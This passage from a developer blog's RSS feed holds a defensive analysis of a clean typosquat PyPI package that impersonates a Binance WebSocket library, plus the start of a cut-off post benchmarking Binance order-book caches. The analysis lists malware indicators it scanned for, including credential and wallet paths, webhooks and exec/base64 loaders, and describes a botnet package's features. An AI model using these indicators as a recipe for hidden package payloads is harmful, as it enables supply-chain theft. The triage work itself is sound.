There is no official Tor, onion, proxy, or privacy-focused variant of UNICORN Binance We]]></description><link>https://blog.technopathy.club/the-pypi-package-was-clean-that-was-the-problem</link><guid isPermaLink="true">https://blog.technopathy.club/the-pypi-package-was-clean-that-was-the-problem</guid><category><![CDATA[pypi]]></category><category><![CDATA[supply chain]]></category><category><![CDATA[typosquatting]]></category><category><![CDATA[Python]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[Security]]></category><category><![CDATA[Malware]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 05 May 2026 12:06:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/1a74c14d-cc12-49d7-a245-a20150b1b387.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Someone uploaded a package to PyPI called:</p>
<pre><code class="language-text">unicorn-binance-websocket-api-onion
</code></pre>
<p>I do not maintain this package.</p>
<p>There is no official Tor, onion, proxy, or privacy-focused variant of UNICORN Binance WebSocket API.</p>
<p>The official package is:</p>
<pre><code class="language-text">unicorn-binance-websocket-api
</code></pre>
<p>At first glance, the <code>-onion</code> suffix looks plausible enough to be mistaken for a legitimate variant.</p>
<p>That is exactly the problem.</p>
<p>And there is another reason this caught my attention immediately:</p>
<p>the same PyPI account, <code>onionj</code>, also maintains <code>pybotnet</code>, a package whose own description presents it as a framework for building remote control, botnet, trojan, or backdoor functionality.</p>
<p>So this was not just a random suffix collision.</p>
<p>It was a plausible package-name squat around my Binance trading library, published by an account that also publishes remote-control / botnet tooling, while keeping old LUCIT author metadata that makes the package look more official than it is.</p>
<p>I analyzed the package statically.</p>
<p>The version I reviewed does not contain malware. No obvious payload. No stage-2 download. No <code>exec</code>. No <code>eval</code>. No base64-decoded loader. No hidden exfiltration logic.</p>
<p>It is basically a near-identical fork of my upstream <code>1.46.2</code> release.</p>
<p>And I am reporting it anyway.</p>
<p>Because a clean typosquat can still be a supply-chain problem.</p>
<h2>Why I looked at it</h2>
<p>I started checking project-name collisions around the UNICORN Binance Suite more actively after the recent <a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign"><code>nailproxy.space</code> GitHub impersonation campaign</a>.</p>
<p>That campaign abused recognizable open source project names, including mine, to lure developers into running malicious code.</p>
<p>I also published a separate <a href="https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api">security warning about a fraudulent GitHub repository impersonating UNICORN Binance WebSocket API</a>.</p>
<p>That one was already weaponized.</p>
<p>This PyPI case is different.</p>
<p>It is not a live malware dropper.</p>
<p>But it belongs to the same family of supply-chain hygiene problems:</p>
<p>someone is using a recognizable project name to put adversary-controlled code into a developer package index.</p>
<p>That alone is enough reason to look closely.</p>
<h2>The package</h2>
<p>The package I analyzed:</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Package</td>
<td><code>unicorn-binance-websocket-api-onion</code></td>
</tr>
<tr>
<td>Version</td>
<td><code>1.46.2</code></td>
</tr>
<tr>
<td>Release status</td>
<td>Only release observed</td>
</tr>
<tr>
<td>Upload time</td>
<td><code>2025-05-27 14:45:12 UTC</code></td>
</tr>
<tr>
<td>Wheel SHA256</td>
<td><code>65147181cff1a672652c843f85ec354c1b71f97ac1249381e067401ad196c6b8</code></td>
</tr>
<tr>
<td>Sdist SHA256</td>
<td><code>4a7691898951f9eaee30f705d9a875def5b017f595a6a0c2e0d1e462868ce92a</code></td>
</tr>
<tr>
<td>Wheel size</td>
<td><code>71,744 B</code></td>
</tr>
<tr>
<td>Sdist size</td>
<td><code>81,966 B</code></td>
</tr>
<tr>
<td>Declared author</td>
<td><code>LUCIT Systems and Development &lt;info@lucit.tech&gt;</code></td>
</tr>
<tr>
<td>Declared homepage</td>
<td><code>https://github.com/onionj/unicorn-binance-websocket-api</code></td>
</tr>
<tr>
<td>Homepage status at time of review</td>
<td><code>404 Not Found</code></td>
</tr>
<tr>
<td>PyPI maintainer</td>
<td><code>onionj</code></td>
</tr>
<tr>
<td>Real uploader from package artifacts</td>
<td><code>onionj</code> / <code>onionj98@gmail.com</code></td>
</tr>
</tbody></table>
<p>The declared author is the first obvious problem.</p>
<p><code>LUCIT Systems and Development &lt;info@lucit.tech&gt;</code> is historical metadata from my own project. It is not the uploader’s identity. It makes the package look official at first glance.</p>
<p>It is not.</p>
<p>PyPI itself shows <code>onionj</code> as the maintainer of this project, while the unverified metadata still lists <code>LUCIT Systems and Development</code> as the author and keeps multiple old LUCIT / UNICORN Binance WebSocket API project links.</p>
<p>The declared homepage also points to:</p>
<pre><code class="language-text">https://github.com/onionj/unicorn-binance-websocket-api
</code></pre>
<p>At the time of review, that URL returned <code>404 Not Found</code>.</p>
<p>So the project page says, in effect:</p>
<ul>
<li><p>maintained by <code>onionj</code>,</p>
</li>
<li><p>authored by <code>LUCIT Systems and Development</code>,</p>
</li>
<li><p>linked to an unavailable GitHub repository,</p>
</li>
<li><p>packaged under a plausible <code>-onion</code> suffix,</p>
</li>
<li><p>and installed into the official import namespace.</p>
</li>
</ul>
<p>That is exactly the kind of metadata confusion that package-name squats benefit from.</p>
<h2>Recent download footprint</h2>
<p>Recent PyPI / Linehaul download stats at the time of review:</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>Last day</th>
<th>Last week</th>
<th>Last month</th>
</tr>
</thead>
<tbody><tr>
<td><code>unicorn-binance-websocket-api</code></td>
<td>292</td>
<td>2,331</td>
<td>14,854</td>
</tr>
<tr>
<td><code>unicorn-binance-websocket-api-onion</code></td>
<td>0</td>
<td>3</td>
<td>7</td>
</tr>
<tr>
<td><code>pybotnet</code></td>
<td>5</td>
<td>31</td>
<td>168</td>
</tr>
</tbody></table>
<p>The squat is still small.</p>
<p>That is the entire reason this is worth catching now.</p>
<p>There is no large installed userbase yet to harm.</p>
<h2>Methodology</h2>
<p>I treated the package as hostile until proven otherwise.</p>
<p>I did not run it.</p>
<p>I did not install it.</p>
<p>I did not import it.</p>
<p>I only downloaded the artifacts and inspected them passively:</p>
<pre><code class="language-bash">curl -sS -o pkg.whl  https://files.pythonhosted.org/packages/.../*.whl
curl -sS -o pkg.tar.gz https://files.pythonhosted.org/packages/.../*.tar.gz
sha256sum pkg.whl pkg.tar.gz

python3 -m zipfile -l pkg.whl
tar -tzf pkg.tar.gz

python3 -m zipfile -e pkg.whl extracted/whl/
tar -xzf pkg.tar.gz -C extracted/
chmod -R a-x extracted/
</code></pre>
<p>Then I compared the contents against my official upstream <code>1.46.2</code> tag.</p>
<p>That is enough to answer the important question:</p>
<p>what code would a user get if they installed this package?</p>
<h2>What is inside</h2>
<p>The package installs into the same Python import namespace as the official package:</p>
<pre><code class="language-text">unicorn_binance_websocket_api/
</code></pre>
<p>That means a user can run:</p>
<pre><code class="language-bash">pip install unicorn-binance-websocket-api-onion
</code></pre>
<p>and then write:</p>
<pre><code class="language-python">import unicorn_binance_websocket_api
</code></pre>
<p>At the import-path level, the <code>-onion</code> suffix disappears.</p>
<p>That is not a small detail.</p>
<p>The distribution name is different, but the Python module name is the same. This makes the package a drop-in shadow of the official one.</p>
<p>If a future version becomes malicious, the import statement would not reveal anything unusual.</p>
<h2>The diff</h2>
<p>The package is almost byte-identical to my official <code>1.46.2</code> release.</p>
<p>Most files are unchanged.</p>
<table>
<thead>
<tr>
<th>File</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td><code>__init__.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>api.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>connection.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>connection_settings.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>exceptions.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>manager.py</code></td>
<td><strong>1-line change</strong></td>
</tr>
<tr>
<td><code>restclient.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>restserver.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>sockets.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>README.md</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>LICENSE</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>setup.py</code></td>
<td>3-line change</td>
</tr>
</tbody></table>
<p>The relevant difference in <code>manager.py</code> is only this:</p>
<pre><code class="language-diff">@@ -229,7 +229,7 @@
                  socks5_proxy_pass: Optional[str] = None,
                  socks5_proxy_ssl_verification: Optional[bool] = True,):
         threading.Thread.__init__(self)
-        self.name = "unicorn-binance-websocket-api"
+        self.name = "unicorn-binance-websocket-api-onion"
         self.version = "1.46.2"
</code></pre>
<p>That is the entire functional delta in <code>manager.py</code>: a name string.</p>
<p>The <code>setup.py</code> changes are also minimal:</p>
<pre><code class="language-diff">-     name='unicorn-binance-websocket-api',
+     name='unicorn-binance-websocket-api-onion',

-     url="https://github.com/LUCIT-Systems-and-Development/unicorn-binance-websocket-api",
+     url="https://github.com/onionj/unicorn-binance-websocket-api",

-     install_requires=['colorama', 'requests', 'websocket-client', 'websockets==10.4', 'flask_restful',
+     install_requires=['colorama', 'requests', 'websocket-client', 'websockets&gt;=10.4', 'flask_restful',
</code></pre>
<p>So the package was renamed, the project URL was changed, and one dependency pin was loosened.</p>
<p>That last point is easy to overlook, but it matters.</p>
<p>Changing <code>websockets==10.4</code> to <code>websockets&gt;=10.4</code> is not a payload. It is not malicious by itself. But it shows that this was not only a blind archive copy. Someone touched the packaging metadata and made a maintenance-style change.</p>
<p>That makes the dormant-package risk more concrete: a package like this can stay clean today, receive small “reasonable” updates, and still remain positioned as a future supply-chain slot.</p>
<p>The author metadata was not changed.</p>
<p>That is the part I do not like.</p>
<h2>What I did not find</h2>
<p>I searched for the usual static indicators:</p>
<ul>
<li><p><code>exec(</code></p>
</li>
<li><p><code>eval(</code></p>
</li>
<li><p><code>compile(</code></p>
</li>
<li><p><code>__import__</code></p>
</li>
<li><p><code>base64.b64decode</code></p>
</li>
<li><p><code>marshal.loads</code></p>
</li>
<li><p><code>pickle.loads</code></p>
</li>
<li><p><code>subprocess</code></p>
</li>
<li><p><code>os.system</code></p>
</li>
<li><p><code>os.popen</code></p>
</li>
<li><p>suspicious <code>requests.get</code> / <code>requests.post</code></p>
</li>
<li><p>Telegram, Discord, webhook, <code>.onion</code>, <code>tor2web</code></p>
</li>
<li><p>wallet paths</p>
</li>
<li><p>browser cookie paths</p>
</li>
<li><p>SSH or cloud credential paths</p>
</li>
<li><p>obvious C2 strings</p>
</li>
<li><p>simple obfuscation patterns</p>
</li>
</ul>
<p>I did not find a malicious payload.</p>
<p>The hits I did find were legitimate pre-existing code from the original project: Binance request signing, GitHub version checks, platform/user-agent handling, and normal library logic.</p>
<p>So the verdict for this version is clear:</p>
<p><code>unicorn-binance-websocket-api-onion</code> <strong>version</strong> <code>1.46.2</code> <strong>is not malware.</strong></p>
<p>That does not make it acceptable.</p>
<h2>Why this is still a problem</h2>
<p>The short version:</p>
<p>this is a clean package today, but it has the structure of a dormant supply-chain slot.</p>
<p>There are four separate issues here.</p>
<h3>1. Identity spoofing</h3>
<p>The package claims:</p>
<pre><code class="language-text">LUCIT Systems and Development &lt;info@lucit.tech&gt;
</code></pre>
<p>That identity does not belong to the uploader.</p>
<p>Users looking at package metadata may reasonably believe this is connected to the original project history.</p>
<p>It is not.</p>
<p>That is misleading even if the code is clean.</p>
<h3>2. Namespace shadowing</h3>
<p>The package name is different, but the import namespace is the same as the official package:</p>
<pre><code class="language-python">import unicorn_binance_websocket_api
</code></pre>
<p>That means the package behaves like a drop-in replacement.</p>
<p>There is no obvious runtime clue that the code came from a suffixed, unofficial distribution.</p>
<p>That is exactly the setup a future malicious update would exploit.</p>
<h3>3. The name is plausible</h3>
<p>The suffix <code>-onion</code> is not random.</p>
<p>It sounds like it could be a Tor/onion-routing variant.</p>
<p>There are legitimate Python projects and extras around SOCKS, Tor, proxies, and privacy routing. A developer searching for such functionality could plausibly think this package is an official variant.</p>
<p>It is not.</p>
<h3>4. The maintainer profile makes the dormant-package risk concrete</h3>
<p>This is the part that makes the package more concerning.</p>
<p>The PyPI account <code>onionj</code> maintains exactly two projects at the time of writing:</p>
<ul>
<li><p><code>unicorn-binance-websocket-api-onion</code></p>
</li>
<li><p><code>pybotnet</code></p>
</li>
</ul>
<p>That connection is public on the PyPI user profile.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/3f8c8083-1f9b-4ef4-bb9d-194da06589c6.png" alt="" style="display:block;margin:0 auto" />

<p><code>pybotnet</code> describes itself as:</p>
<blockquote>
<p>A Python framework for building remote control, botnet, trojan or backdoor with Telegram or other control panels</p>
</blockquote>
<p>Its own feature list includes a Telegram control panel, reverse shell, file upload/download, remote Python code execution, screenshots, keylogger functionality, DoS, scheduling, and custom scripts.</p>
<p>I am not claiming that <code>pybotnet</code> is illegal malware.</p>
<p>I am also not claiming that <code>unicorn-binance-websocket-api-onion</code> is malicious in the version I reviewed.</p>
<p>But this combination matters.</p>
<p>The same account that publishes remote-control / botnet / trojan / backdoor tooling also uploaded a near-identical fork of my Binance trading library, under a plausible suffix, into the same import namespace, while keeping historical LUCIT author metadata that makes it look more official than it is.</p>
<p>That is not proof of an active attack.</p>
<p>But it is a very uncomfortable dormant supply-chain setup.</p>
<p>A clean package can still be a staging point:</p>
<ol>
<li><p>publish a harmless fork,</p>
</li>
<li><p>use a plausible name,</p>
</li>
<li><p>keep the official import namespace,</p>
</li>
<li><p>make small maintenance-looking changes,</p>
</li>
<li><p>accumulate a few downloads,</p>
</li>
<li><p>wait until it lands in a script, CI job, Dockerfile, or AI-generated install instruction,</p>
</li>
<li><p>weaponize a later release.</p>
</li>
</ol>
<p>The right time to remove that setup is before the final step.</p>
<h2>Clean does not mean harmless</h2>
<p>This is the important part.</p>
<p>Security teams often look for malware.</p>
<p>That makes sense.</p>
<p>But package-index abuse is not always malware on day one.</p>
<p>Sometimes the first step is just occupying a name.</p>
<p>Or copying a brand.</p>
<p>Or shadowing an import namespace.</p>
<p>Or making a package look official enough that one user, one developer, one CI pipeline, or one AI-generated install instruction picks it up.</p>
<p>Once that happens, the uploader does not need to win the whole ecosystem.</p>
<p>They only need one useful installation.</p>
<p>This is why clean typosquats matter.</p>
<p>They are not harmless just because the current artifact has no payload.</p>
<p>They are infrastructure.</p>
<h2>How this relates to the GitHub impersonation campaign</h2>
<p>The recent GitHub impersonation campaign was different.</p>
<p>That one was already weaponized.</p>
<p>It used fake repositories impersonating known open source projects and delivered malware through a Python dropper.</p>
<p>This PyPI package is not that.</p>
<p>But the trust primitive is the same:</p>
<p>the user relies on a recognizable project name.</p>
<p>On GitHub, that trust was abused through repository impersonation.</p>
<p>On PyPI, it is abused through package-name similarity, metadata spoofing, and import namespace shadowing.</p>
<p>Different vector.</p>
<p>Same weak point.</p>
<p>Developer trust.</p>
<h2>Why this matters for Binance developers</h2>
<p>UNICORN Binance WebSocket API is used by developers who connect trading systems, bots, dashboards, and infrastructure to Binance.</p>
<p>That makes package identity more sensitive than it may look at first glance.</p>
<p>A malicious package in this space does not need to steal money directly to cause serious damage.</p>
<p>It could steal environment variables.</p>
<p>It could read API keys.</p>
<p>It could exfiltrate account metadata.</p>
<p>It could observe trading infrastructure.</p>
<p>It could tamper with stream handling.</p>
<p>It could simply prepare a developer machine for a second-stage compromise.</p>
<p>This is exactly why I care about these cases early.</p>
<p>A clean squat today can become a dangerous dependency tomorrow.</p>
<p>And when the affected ecosystem is automated trading, “tomorrow” is too late.</p>
<h2>Recommendations for users</h2>
<p>If you use UNICORN Binance WebSocket API, the official package is:</p>
<pre><code class="language-bash">pip install unicorn-binance-websocket-api
</code></pre>
<p>Not:</p>
<pre><code class="language-bash">pip install unicorn-binance-websocket-api-onion
</code></pre>
<p>There is no official <code>-onion</code> package.</p>
<p>If you find <code>unicorn-binance-websocket-api-onion</code> in an environment, remove it and replace it with the official distribution.</p>
<p>Also check how it got there.</p>
<p>Look in:</p>
<ul>
<li><p><code>requirements.txt</code></p>
</li>
<li><p><code>pyproject.toml</code></p>
</li>
<li><p><code>setup.py</code></p>
</li>
<li><p>Dockerfiles</p>
</li>
<li><p>CI workflows</p>
</li>
<li><p>deployment scripts</p>
</li>
<li><p>cached virtual environments</p>
</li>
<li><p>internal package mirrors</p>
</li>
</ul>
<p>For any package, not just mine, check:</p>
<ul>
<li><p>the exact distribution name</p>
</li>
<li><p>the project URL</p>
</li>
<li><p>the author metadata</p>
</li>
<li><p>the upload history</p>
</li>
<li><p>whether the import namespace matches a different known project</p>
</li>
<li><p>whether the package has a plausible-but-unofficial suffix like <code>-secure</code>, <code>-pro</code>, <code>-fast</code>, <code>-onion</code>, <code>-tor</code>, <code>-utils</code>, or <code>-plus</code></p>
</li>
</ul>
<p>These checks take seconds.</p>
<p>They prevent ugly surprises.</p>
<h2>Recommendation for PyPI</h2>
<p>I am reporting this package.</p>
<p>The removal argument is not that the current artifact contains malware.</p>
<p>The removal argument is:</p>
<ul>
<li><p>misleading project name</p>
</li>
<li><p>spoofed historical author metadata</p>
</li>
<li><p>same import namespace as the official package</p>
</li>
<li><p>no legitimate reason to exist under this naming pattern</p>
</li>
<li><p>concrete dormant-package risk</p>
</li>
</ul>
<p>The installed footprint appears to be small.</p>
<p>That makes now the right time to remove it.</p>
<p>Removing a dormant squat before it is used is much less disruptive than removing a weaponized package after it has landed in production environments.</p>
<h2>Recommendation for maintainers</h2>
<p>Run name-collision sweeps for your own projects.</p>
<p>Search PyPI for your package names plus common suffixes:</p>
<pre><code class="language-text">-onion
-tor
-secure
-pro
-fast
-utils
-plus
-client
-api
</code></pre>
<p>If something looks suspicious:</p>
<ol>
<li><p>Download the artifacts.</p>
</li>
<li><p>Do not install them.</p>
</li>
<li><p>Do not import them.</p>
</li>
<li><p>Inspect the wheel and sdist statically.</p>
</li>
<li><p>Compare against your own release.</p>
</li>
<li><p>Record hashes.</p>
</li>
<li><p>Check metadata.</p>
</li>
<li><p>Report with a concise technical summary.</p>
</li>
</ol>
<p>You do not need a huge malware lab for this kind of first-pass triage.</p>
<p>A clean diff, hashes, and a clear explanation are already useful.</p>
<h2>Closing note</h2>
<p>The interesting thing about this case is not the malware.</p>
<p>There is none in the version I reviewed.</p>
<p>The interesting thing is the setup:</p>
<p>a spoofed brand, a plausible suffix, the official import namespace, old author metadata, and a maintainer profile that makes the dormant slot uncomfortable.</p>
<p>That is enough.</p>
<p>A supply-chain attack does not start when the payload executes.</p>
<p>It often starts earlier, when trust is quietly acquired.</p>
<p>That is why I am reporting this package now.</p>
<p>Not because it is malware today.</p>
<p>Because it should not be allowed to become useful tomorrow.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Your Binance DepthCache is rotting — here's the proof in 25 hours]]></title><description><![CDATA[A local Binance Spot order book can look healthy at the top and still be structurally wrong underneath.
Not “a little bit noisy”. Not “slightly delayed”. Wrong in the way that only shows up when you s]]></description><link>https://blog.technopathy.club/your-binance-depthcache-is-rotting-here-s-the-proof-in-25-hours</link><guid isPermaLink="true">https://blog.technopathy.club/your-binance-depthcache-is-rotting-here-s-the-proof-in-25-hours</guid><category><![CDATA[binance]]></category><category><![CDATA[order book]]></category><category><![CDATA[depth-cache]]></category><category><![CDATA[Python]]></category><category><![CDATA[crypto infrastructure]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 29 Apr 2026 15:56:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/13ccbc99-3655-4a6c-b387-001ffe6e243b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A local Binance Spot order book can look healthy at the top and still be structurally wrong underneath.</p>
<p>Not “a little bit noisy”. Not “slightly delayed”. Wrong in the way that only shows up when you stop looking at best bid / best ask and audit the whole local book.</p>
<p>After a single quiet day on BTCUSDT, my naive no-retention DepthCache ended up with only <strong>24.09% matching bid levels</strong> and <strong>39.82% matching ask levels</strong>. Most of the local book had turned into ghosts: price levels still present locally, but no longer present in a fresh REST snapshot.</p>
<p>I have known about this class of problem for years. So have other people who have shipped trading systems against Binance. Most of us learned it the hard way, patched our own systems, and moved on.</p>
<p>I already wrote up the mechanism in <a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a>. That article explains the bug class. This one is the forensic benchmark: the same problem measured over 25 hours with a naive implementation and a pruned implementation running side by side.</p>
<p>This time I wanted numbers.</p>
<p>So I ran two DepthCaches side by side for 25 hours, fed by the same WebSocket stream, audited hourly against fresh REST snapshots, and plotted the decay in 3D.</p>
<p>Here is the proof.</p>
<h2>What a DepthCache is, and what the Binance docs say</h2>
<p>A DepthCache (DC) is a local mirror of the order book. You keep bids and asks per price level in memory and update them from the exchange stream, so your strategy does not need to hit REST every time it wants to know where the book currently is.</p>
<p>Binance documents how to manage a local Spot order book. The current guide is better than many older code examples floating around: it uses a REST snapshot with <code>limit=5000</code>, explains how to align buffered WebSocket events with <code>lastUpdateId</code>, and explicitly documents update-ID continuity checks.</p>
<p>Short version of the official flow:</p>
<ol>
<li><p>Open a WebSocket to <code>&lt;symbol&gt;@depth</code>.</p>
</li>
<li><p>Buffer events.</p>
</li>
<li><p>Fetch <code>GET /api/v3/depth?symbol=...&amp;limit=5000</code>.</p>
</li>
<li><p>Align buffered events with the snapshot's <code>lastUpdateId</code>.</p>
</li>
<li><p>Apply updates in order.</p>
</li>
<li><p>If an event proves you missed updates, discard the local book and restart from a fresh snapshot.</p>
</li>
<li><p>For every streamed price level, set the new quantity; if quantity is zero, remove the level.</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7650db9a-ab84-4a4b-a42b-3f763c7566c7.png" alt="" style="display:block;margin:0 auto" />

<p>The important part is not what Binance gets right here. The guide does document update continuity. It also warns that because REST snapshots are limited to 5000 levels per side, you will not know quantities for levels outside the initial snapshot unless those levels change, and that those levels may not reflect the full view of the order book.</p>
<p>That warning is the key.</p>
<p>The guide tells you how to synchronize and how to apply events. It does <strong>not</strong> define a retention policy for a bounded local cache. It does not say what your local book's maximum depth should be after hours of streamed updates. It does not say when to evict levels that entered through the stream but are no longer inside the view you can validate.</p>
<p>That missing retention rule is where the rot starts.</p>
<h2>What the stream actually does</h2>
<p>The depth stream does not care about the conceptual depth corridor your local application wants to maintain.</p>
<p>In practice, it can send updates for levels far away from the current mid price: ladders placed and pulled 2% away from mid, deep ask-side repricing, limit orders parked far away in case of a flash move, and other book activity that your local cache may not have a stable baseline for.</p>
<p>A naive DC applies those updates anyway.</p>
<p>It sees a price level. It inserts it. The normal update procedure removes that level only if a later <code>qty=0</code> arrives for the same price. Sometimes that cleanup event never arrives in a way your local cache can rely on. The level may have been cancelled, replaced, moved, or simply fallen out of the region that your local implementation still validates.</p>
<p>So it stays.</p>
<p>And then the next one stays.</p>
<p>And the next one.</p>
<p>After a few hours, your local order book is no longer a bounded view of the exchange book. It is a growing collection of historical levels.</p>
<p>I once discussed this exact class of problem with a Binance engineer in Telegram. The takeaway was clear: production systems cannot stop at basic synchronization; they need their own pruning, gap handling, and resync logic.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/35971b5d-023d-4285-a019-2f6cb2184867.png" alt="" style="display:block;margin:0 auto" />

<p>This is not a new class of problem. A public Binance depth-cache note from 2017 already described the same operational issue: if the order book shifts far enough from the snapshot, a local book can miss levels, and the implementation has to track that shift and resync.</p>
<p><a href="https://gist.github.com/sammchardy/5515afe1dff84475098f669a62558860">Historical Binance Depth Cache Notes</a></p>
<p>This eventually became a tracked issue while I was debugging drift in my own UNICORN Binance Local Depth Cache implementation:</p>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache/issues/45">https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache/issues/45</a></p>
<p>But a known issue is not the same as a measured failure mode.</p>
<p>So I measured it.</p>
<h2>The setup</h2>
<p>I ran two DepthCaches. Same symbol, same stream, same audit schedule.</p>
<p>Only one thing changed.</p>
<ul>
<li><p><code>naive</code> — insert streamed levels, update quantities, remove only on <code>qty=0</code>, no active pruning / retention policy.</p>
</li>
<li><p><code>fixed</code> — same initialization and update logic, but with active pruning back to the top-1000 levels per side after applied updates.</p>
</li>
</ul>
<p>This benchmark uses a <strong>top-1000 target corridor</strong> on purpose. That makes the experiment smaller, faster to inspect, and more brutal in the charts. It is not claiming that Binance's current documentation says to initialize with <code>limit=1000</code>; the current guide says <code>limit=5000</code>.</p>
<p>The tested failure mode is more specific and more important:</p>
<blockquote>
<p>What happens when a local order book inserts streamed price levels but does not enforce an active retention boundary?</p>
</blockquote>
<p>A larger initial snapshot gives you a wider starting view. It does not by itself define what to do with streamed levels after the local book has been running for hours. Without a retention policy, the same class of stale-level accumulation still exists — just with a wider corridor and a different time profile.</p>
<p>The <code>fixed</code> variant is intentionally minimal. It does <strong>not</strong> include full UBLDC behavior. UBLDC also does update-ID gap detection and full resync on protocol violations. Binance documents that continuity check, and production code should implement it. I left it out of <code>fixed</code> deliberately, because this experiment isolates one variable only: pruning.</p>
<p>Both DCs were fed by <strong>the same</strong> WebSocket subscription via UBWA: one stream, two consumers.</p>
<p>Both were audited against <strong>the same</strong> REST snapshots at the same timestamps.</p>
<p>So any difference between <code>naive</code> and <code>fixed</code> comes from the retention strategy, not from feed drift.</p>
<p>The audit ran once per hour, with one extra audit immediately after initial sync and another after five minutes. Each audit fetched a fresh REST snapshot with <code>limit=5000</code> and classified every local price level as one of:</p>
<ul>
<li><p><code>match</code> — level exists in REST and local cache, quantity is equal</p>
</li>
<li><p><code>drift</code> — level exists in both, but quantity differs</p>
</li>
<li><p><code>orphaned</code> — level exists locally, but not in REST ← the important one</p>
</li>
<li><p><code>missed</code> — level exists in REST, but not locally</p>
</li>
</ul>
<p>The <code>limit=5000</code> audit snapshot is deliberate. It checks whether a locally orphaned level is still alive deeper in REST's view, or whether it is stale relative to Binance's largest public REST snapshot.</p>
<p>One important methodology note: <code>missed</code> will show roughly 4000 levels per side for both variants. That is expected. REST returns 5000 levels, but both DCs only claim to maintain a top-1000 corridor. Those 4000 are not the failure.</p>
<p>The health metric that matters here is:</p>
<blockquote>
<p>How much of the local cache still matches REST?</p>
</blockquote>
<h2>Results</h2>
<p>The run lasted <strong>25.10 hours</strong> on BTCUSDT, from <strong>2026-04-28 08:51</strong> to <strong>2026-04-29 10:18</strong> Europe/Vienna time.</p>
<p>BTC was calm during the window: total mid-price range was only <strong>1.88%</strong>, with no flash event.</p>
<p>That matters. A quiet market is the easy case. More movement means more old levels falling out of the active region and more stale levels accumulating. So these numbers are not worst-case. They are probably closer to a lower bound for this no-retention pattern.</p>
<h3>The headline chart</h3>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/comparison.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/16710fd7-db82-4504-92ed-9a2f9f8405b2.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/comparison.html">comparison.html</a></p>
<h3>Final numbers</h3>
<table>
<thead>
<tr>
<th></th>
<th>n_bids</th>
<th>n_asks</th>
<th>bid_match</th>
<th>ask_match</th>
<th>total_orphaned</th>
<th>pruned (cumulative)</th>
</tr>
</thead>
<tbody><tr>
<td><code>naive</code> (audit #27)</td>
<td>20 758</td>
<td>9 116</td>
<td><strong>24.09%</strong></td>
<td><strong>39.82%</strong></td>
<td>21 244</td>
<td>—</td>
</tr>
<tr>
<td><code>fixed</code> (audit #27)</td>
<td>1 011</td>
<td>1 078</td>
<td><strong>87.83%</strong></td>
<td><strong>91.74%</strong></td>
<td>305</td>
<td><strong>295 121</strong></td>
</tr>
</tbody></table>
<p>The naive DC starts almost perfect. At t=0 it has <strong>99.6% bid match</strong>.</p>
<p>Then it rots.</p>
<p>For the first six hours, the decay is roughly linear. After that, it plateaus with only about a quarter to a third of bid-side local levels still matching REST.</p>
<p>The fixed DC stays in the <strong>75-97% match range</strong> over the full run. The lower bound around audit #15, #20, and #24 corresponds exactly to audits taken right after WebSocket reconnects; the run log confirms reconnect events at those audit timestamps.</p>
<p>There were 10 reconnects total, all auto-recovered by UBWA, but each reconnect can leave a small update-ID gap. Pruning cannot repair that. Gap detection and resync can.</p>
<p>That is exactly why production-grade DC logic needs both:</p>
<ul>
<li><p>pruning, to prevent stale levels from accumulating</p>
</li>
<li><p>gap detection and resync, to recover from broken update continuity</p>
</li>
</ul>
<h2>The 3D scatter</h2>
<p>The 3D plots make the failure obvious.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/report_naive.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/63e02837-099e-4e23-9a11-c3c1b8d78136.png" alt="" style="display:block;margin:0 auto" /></a></p>
